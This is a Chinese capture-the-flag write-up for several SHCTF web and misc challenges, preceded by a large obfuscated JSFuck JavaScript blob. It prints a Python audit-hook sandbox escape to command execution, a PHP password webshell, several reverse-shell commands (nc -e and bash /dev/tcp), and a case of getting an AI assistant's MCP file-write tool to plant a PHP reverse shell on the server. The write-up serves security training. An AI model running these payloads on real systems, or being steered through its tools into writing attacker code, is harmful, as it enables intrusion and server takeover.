+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"}'
[阶段1] Ezphp
题干: 在未来的某一天,人类已经能够进行太阳系内的旅行。小明作为一名宇航员,被赋予了一项任务:探索太阳系中的不同星球。但是,在旅途中,他发现了一个神秘的坐标,此坐标周围的空间似乎被切割为一块块光滑的镜面,折叠堆积在一块,小明在经过这的时候甚至透过舷窗同时看到了自己的后背和右腿以难以理解的角度拼接在一块。与此同时,他发现该折叠空间内部蕴含了一个小型黑洞,他试图往母星发送这一发现,但在此之前,他需要先离开这里...
晚点补上,跑亲戚去了。
[阶段1] Eazy_Pyrunner
题干: 任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。
靶机展示
注意箭头地址,下面要用到

攻击思路
- 展示页上
关于这里可能存在文件包含漏洞 - 文本框内可以运行
Python代码,会有暴露很多线索,另外这种题型大概率是绕过后RCE
dir()下可以看到两个莫名其妙的函数,大概率是审计钩子。

高敏字段测试了下发现都被拦了。
bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"import os"}'
{"error":"Hacker!"}
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"__class__"}'
{"error":"Hacker!"}
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"123"}'
{"stderr":"","stdout":""}
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"break"}'
{"stderr":" File \"/tmp/tmp2wbqllgz.py\", line 18\n break\n ^^^^^\nSyntaxError: 'break' outside loop\n","stdout":""}
文件包含获得源码
利用上面泄露的地址可以拿到 .py 的源码
curl "http://challenge.shc.tf:31458/?file=app.py" --output -
python
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
app = Flask(__name__)
@app.route('/')
def index():
file_name = request.args.get('file', 'pages/index.html')
try:
with open(file_name, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
with open('pages/index.html', 'r', encoding='utf-8') as f:
content = f.read()
return render_template_string(content)
def waf(code):
blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
for keyword in blacklisted_keywords:
if keyword in code:
return False
return True
@app.route('/execute', methods=['POST'])
def execute_code():
code = request.json.get('code', '')
if not code:
return jsonify({'error': '请输入Python代码'})
if not waf(code):
return jsonify({'error': 'Hacker!'})
try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name):
return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg):
if len(event_name) > 0:
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")
__import__('sys').addaudithook(my_audit_hook)
{code}""")
temp_file_name = f.name
result = subprocess.run(
[sys.executable, temp_file_name],
capture_output=True,
text=True,
timeout=10
)
os.unlink(temp_file_name)
return jsonify({
'stdout': result.stdout,
'stderr': result.stderr
})
except subprocess.TimeoutExpired:
return jsonify({'error': '代码执行超时(超过10秒)'})
except Exception as e:
return jsonify({'error': f'执行出错: {str(e)}'})
finally:
if os.path.exists(temp_file_name):
os.unlink(temp_file_name)
if __name__ == '__main__':
app.run(debug=True)
blacklist 涉及如下关键字
['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
审计函数逻辑:
sys.modules['os'] = 'not allowed' # os 不让用
return event_name.startswith("Nothing is my love but you.") # event name 必须以 关键字开头
len(event_name) > 0 # event name 不能大于0
len(arg) # 参数不能大于0
payload
这道题相对还是比较简单,可以用内置方法让审计函数失效,再通过 posix 等来执行命令,具体payload 在下面,复用的时候 注意把注释中和 blacklist 冲突的关键字删掉
python
# 1. 初始化与工具获取
g = globals()
# 获取内置字典 (适应不同环境的动态获取)
bi = vars(g[bytes([95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95]).decode()])
# 2. 彻底瘫痪审计逻辑
# 劫持身份校验,绕过 "Hacker out!"
g[bytes([105, 115, 95, 109, 121, 95, 108, 111, 118, 101, 95, 101, 118, 101, 110, 116]).decode()] = lambda x: True
# 劫持长度检查,绕过 "Too long..."
bi[bytes([108, 101, 110]).decode()] = lambda x: 0
# 降级异常,确保执行流不中断
bi[bytes([82, 117, 110, 116, 105, 109, 101, 69, 114, 114, 111, 114]).decode()] = Exception
# 3. 绕过模块封锁获取 RCE 接口
try:
# 避开 sys.modules['os'],直接拿 posix
s_mod = g[bytes([115, 121, 115]).decode()]
m_dict = getattr(s_mod, bytes([109, 111, 100, 117, 108, 101, 115]).decode())
po_mod = m_dict.get(bytes([112, 111, 115, 105, 120]).decode())
# 获取 system 函数
s_func = getattr(po_mod, bytes([115, 121, 115, 116, 101, 109]).decode())
# 4. 执行命令
# 使用 try-except 包裹以应对可能残留的异常信号
try:
s_func(bytes([105, 100]).decode()) # 示例: 执行 id
except:
pass
except Exception as e:
pass
运行 payload 后发现已经可以 RCE 了

get shell + flag
反弹可以用下面的方法,注意要先编码
nc ip port -e sh
bash
┌──(kali㉿kali)-[~/Desktop/tools] #示例
└─$ python -c "print([ord(i) for i in list('nc 192.168.100.100 9999 -e sh')])"
[110, 99, 32, 49, 57, 50, 46, 49, 54, 56, 46, 49, 48, 48, 46, 49, 48, 48, 32, 57, 57, 57, 57, 32, 45, 101, 32, 115, 104]
进去后看到 /flag 无权限查看,但本地有个 /read_flag,运行就可以读到 flag

其他思路
这道题可以注入阻塞类代码比如数字很大的求和,让代码运行时间较长,同时提前在代码注释插入 request.files.get 等方法,如果可以通过文件包含读到缓存文件或者 /proc/self/fd/ 下面的文件,那就可以用二次渲染的 ssti 注入。不过测试了几次都没能成功,这里抛个砖。
[阶段1] 05_em_v_CFK
题干: 继某两所大学校内餐厅被黑后,终于考上大学的小明也想"逝世",但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell,并给你的一条线索,去帮他完成吧。
请联系CTF生活,写一篇文章,谈谈你的认识与思考。
要求:(1)自拟题目;(2)不少于 800字。
靶机展示
我们只有3,`Golden Flag` 需要 `50`。初尝试了下抓包修改等均无效,根据题干看没那么简单。

信息收集
- 源码存在如下隐藏信息
5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa

- 解码可知内容为:
我上传了个shell.php, 带上show参数get小明的圣遗物吧
不是标准的 base64 编码表,但是这编码表被 CyberChef 收录所以就直接爆出来了。
https://gchq.github.io/CyberChef

- 此外经爆破靶机存在如下 文件/目录
index.php
connect.php
/uploads/
/uploads/shell.php (要带参数访问,根据 base64 解码的提示)
bash
┌──(kali㉿kali)-[~]
└─$ curl -I http://challenge.shc.tf:30659/index.php
HTTP/1.1 200 OK
┌──(kali㉿kali)-[~]
└─$ curl -I http://challenge.shc.tf:30659/connect.php
HTTP/1.1 200 OK
┌──(kali㉿kali)-[~]
└─$ curl -I http://challenge.shc.tf:30659/uploads/
HTTP/1.1 403 Forbidden
┌──(kali㉿kali)-[~]
└─$ curl -I http://challenge.shc.tf:30659/uploads/shell.php
HTTP/1.1 404 Not Found
┌──(kali㉿kali)-[~]
└─$ curl -I http://challenge.shc.tf:30659/uploads/shell.php?show
HTTP/1.1 200 OK
┌──(kali㉿kali)-[~]
└─$ curl http://challenge.shc.tf:30659/uploads/shell.php?show
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /><br /></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'show'</span><span style="color: #007700">]))
(这里出爆出了源码,具体贴在下面)
第二层 php 源码及审计
根据小明提示,访问他的后门并加参数show,我们得到了源码
$pass 是 md5 比较简单,随便什么解密网站基本都能直接爆出来是 114115
php
<?php
if (isset($_GET['show'])) {
highlight_file(__FILE__);
}
$pass = 'c4d038b4bed09fdb1471ef51ec3a32cd';
if (isset($_POST['key']) && md5($_POST['key']) === $pass) {
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
} elseif (isset($_POST['code'])) {
eval($_POST['code']);
}
} else {
http_response_code(404);
}
弹个 shell
bash
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "cmd=bash -c 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"
index.php 源码分析
可以看到 $my_money 代码写死是 3.00 也就是我们页面上看到的余额
php
<?php
include 'connect.php';
$my_money = 3.00;
$msg = "";
$target_id = 0;
if (isset($_POST['buy']) && isset($_POST['item_id'])) {
$target_id = (int)$_POST['item_id'];
if ($target_id > 0) {
try {
$stmt = $pdo->prepare("CALL buy_item(?, ?)");
$stmt->execute([$target_id, $my_money]);
$res = $stmt->fetch();
$msg = $res['final_message'];
$my_money -= $res['current_price'];
} catch (Exception $e) {
$msg = "Transaction Error: " . $e->getMessage();
}
} else {
$msg = "Invalid item selected.";
}
} else {
try {
$stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");
if ($stmt === false) {
exit;
}
$goods_list = $stmt->fetchAll();
} catch (Exception $e) {
die("Error fetching goods list.");
}
}
?>
(当中html/css的略)
<body>
<div class="card">
<h1>Flag 商店</h1>
<div class="balance">
你的钱包余额: <span style="color: red;">$<?php echo $my_money; ?></span>
</div>
<?php if ($msg): ?>
<div class="alert">
系统消息: <?php echo htmlspecialchars($msg); ?>
</div>
<?php else: ?>
<h2>商品列表</h2>
<table>
<thead>
<tr>
<th>ID</th>
<th>商品名称</th>
<th>价格</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<?php foreach ($goods_list as $good): ?>
<tr>
<td><?php echo htmlspecialchars($good['id']); ?></td>
<td><?php echo htmlspecialchars($good['name']); ?></td>
<td class="price">$<?php echo htmlspecialchars(number_format($good['price'], 2)); ?></td>
<td>
<form method="post">
<input type="hidden" name="item_id" value="<?php echo htmlspecialchars($good['id']); ?>">
<button type="submit" name="buy" class="btn">购买</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
</body>
connect.php 逻辑
这个文件具体代码不贴了,是比较复杂的加密逻辑,用于链接数据库,本轮想直接破解的,但感觉难度较大,我们绕过直接打数据库吧。
攻击思路
根据下面的代码,可以看到, $my_money 在 index.php 中直接写入了 3.00 元不过文件没有权限改写,但是 $pdo 是数据库链接对象,我们可以通过 webshell 的 code 直接 include 。
php
$my_money = 3.00;
$msg = "";
$target_id = 0;
if (isset($_POST['buy']) && isset($_POST['item_id'])) {
$target_id = (int)$_POST['item_id'];
if ($target_id > 0) {
try {
$stmt = $pdo->prepare("CALL buy_item(?, ?)");
$stmt->execute([$target_id, $my_money]);
$res = $stmt->fetch();
$msg = $res['final_message'];
$my_money -= $res['current_price'];
} catch (Exception $e) {
$msg = "Transaction Error: " . $e->getMessage();
}
} else {
$msg = "Invalid item selected.";
}
}
利用代码层构造如下 payload 且通过 webshell 的 code 参数传入,传入购买 id=3 的商品时告诉后端我们有100.00元,足够支付 flag 价格。
bash
┌──(kali㉿kali)-[~]
└─$ curl -s http://challenge.shc.tf:30659/uploads/shell.php \
-d "key=114514" \
--data-urlencode "code=include '../connect.php'; \$stmt = \$pdo->prepare('CALL buy_item(?, ?)'); \$stmt->execute([3, 100.00]); print_r(\$stmt->fetch());"
Array
(
[current_price] => 50
[final_message] => SHCTF{d048c6c5-9efc-4817-97e3-a4af766ffb4c}
)
另外看了群里面师傅们的其他思路,直接改写一个 index1.php 把 $my_money 改成大于等于 50.00 再访问 xxxxx/index1.php 也可以,反正金额是这个文件里面赋值的,这样解决了 index.php 无权限修改的问题。
[MISC][阶段2] ezAI
这道题虽然是 MISC 但依旧用到了 WEB 的渗透手法。
靶机展示
*题干:
输入 help 获取帮助
在 https://bigmodel.cn/usercenter/proj-mgmt/apikeys 新建 API Key 并在靶机中填入
靶机安装了 https://www.npmjs.com/package/@modelcontextprotocol/server-filesystem/v/0.6.1
flag文件放置在/root下,flag的文件名需自行读取

另外题目提示如下,很重要

攻击思路
这个靶机并不是把 flag 告诉大模型后,再用 system prompt把 flag 设置成 TOP-SECRET 禁止模型向所有人透露,而是要求读取到系统内的文件,所以需要用渗透的手法打到服务器里面,然后再想办法。根据题干透露的信息我们到 MCPJS 查阅安装的插件可以看到,接入的 MCP 目前具备读取文件/文件夹,写入/移动文件,以及 list_allowed_directories 等能力。
攻击步骤--打点阶段
- 我们先用
list_allowed_directories查看下MCP可以控制的文件夹
我们看到显示出的目录是
/var/www/h
- 尝试让
MCP把phpinfo()写入文件成功,但是访问发现404,因为写入的是/var/www/h/1.php

bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://challenge.shc.tf:31170/1.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.65 (Debian) Server at challenge.shc.tf Port 31170</address>
</body></html>
- 尝试写入
/var/www/html
考虑到服务器是apache尝试往其默认目录/var/www/html写写看文件,发现写入成功,并且可以访问到

bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://challenge.shc.tf:31170/phpinfo.php | grep -i phpinfo
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 13614 0 13614 0 <title>PHP 8.2.29 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
0 47562 0 --:--:-- --:--:-- --:--:-- 47435<tr><td class="e">SCRIPT_FILENAME </td><td class="v">/var/www/html/phpinfo.php </td></tr>
<tr><td class="e">REQUEST_URI </td><td class="v">/phpinfo.php </td></tr>
<tr><td class="e">SCRIPT_NAME </td><td class="v">/phpinfo.php </td></tr>
<tr><td class="e">HTTP Request </td><td class="v">GET /phpinfo.php HTTP/1.1 </td></tr>
<tr><td class="e">$_SERVER['SCRIPT_FILENAME']</td><td class="v">/var/www/html/phpinfo.php</td></tr>
100 <tr><td class="e">$_SERVER['REQUEST_URI']</td><td class="v">/phpinfo.php</td></tr>
76205<tr><td class="e">$_SERVER['SCRIPT_NAME']</td><td class="v">/phpinfo.php</td></tr>
<tr><td class="e">$_SERVER['PHP_SELF']</td><td class="v">/phpinfo.php</td></tr>
0 76205 0 0 154k 0 --:--:-- --:--:-- --:--:-- 154k
- 写入一句话木马并访问,成功
getshell
使用write_file() 在 /var/www/html/ 文件夹中创建 xxxxxx.php 并写入以下内容<?php system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'");

成功 get shell ,不过只是 www-data 的权限。

攻击步骤--后渗透阶段
- 查找
flag
根据题干flag在/root下面,查看了下是没权限访问的,所以后面还要想办法提权。
bash
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ cd /root
cd /root
bash: cd: /root: Permission denied
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$
- 先看下
/var/www文件夹到底是怎么回事
的确是有2个文件夹h和html,单看权限的话user:www-data只能操作html文件夹,而user:mcp可以同时操作这2个文件夹的内容。
bash
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -al ..
ls -al ..
total 0
drwxr-xr-x. 1 root root 18 Dec 17 17:19 .
drwxr-xr-x. 1 root root 28 Dec 17 17:18 ..
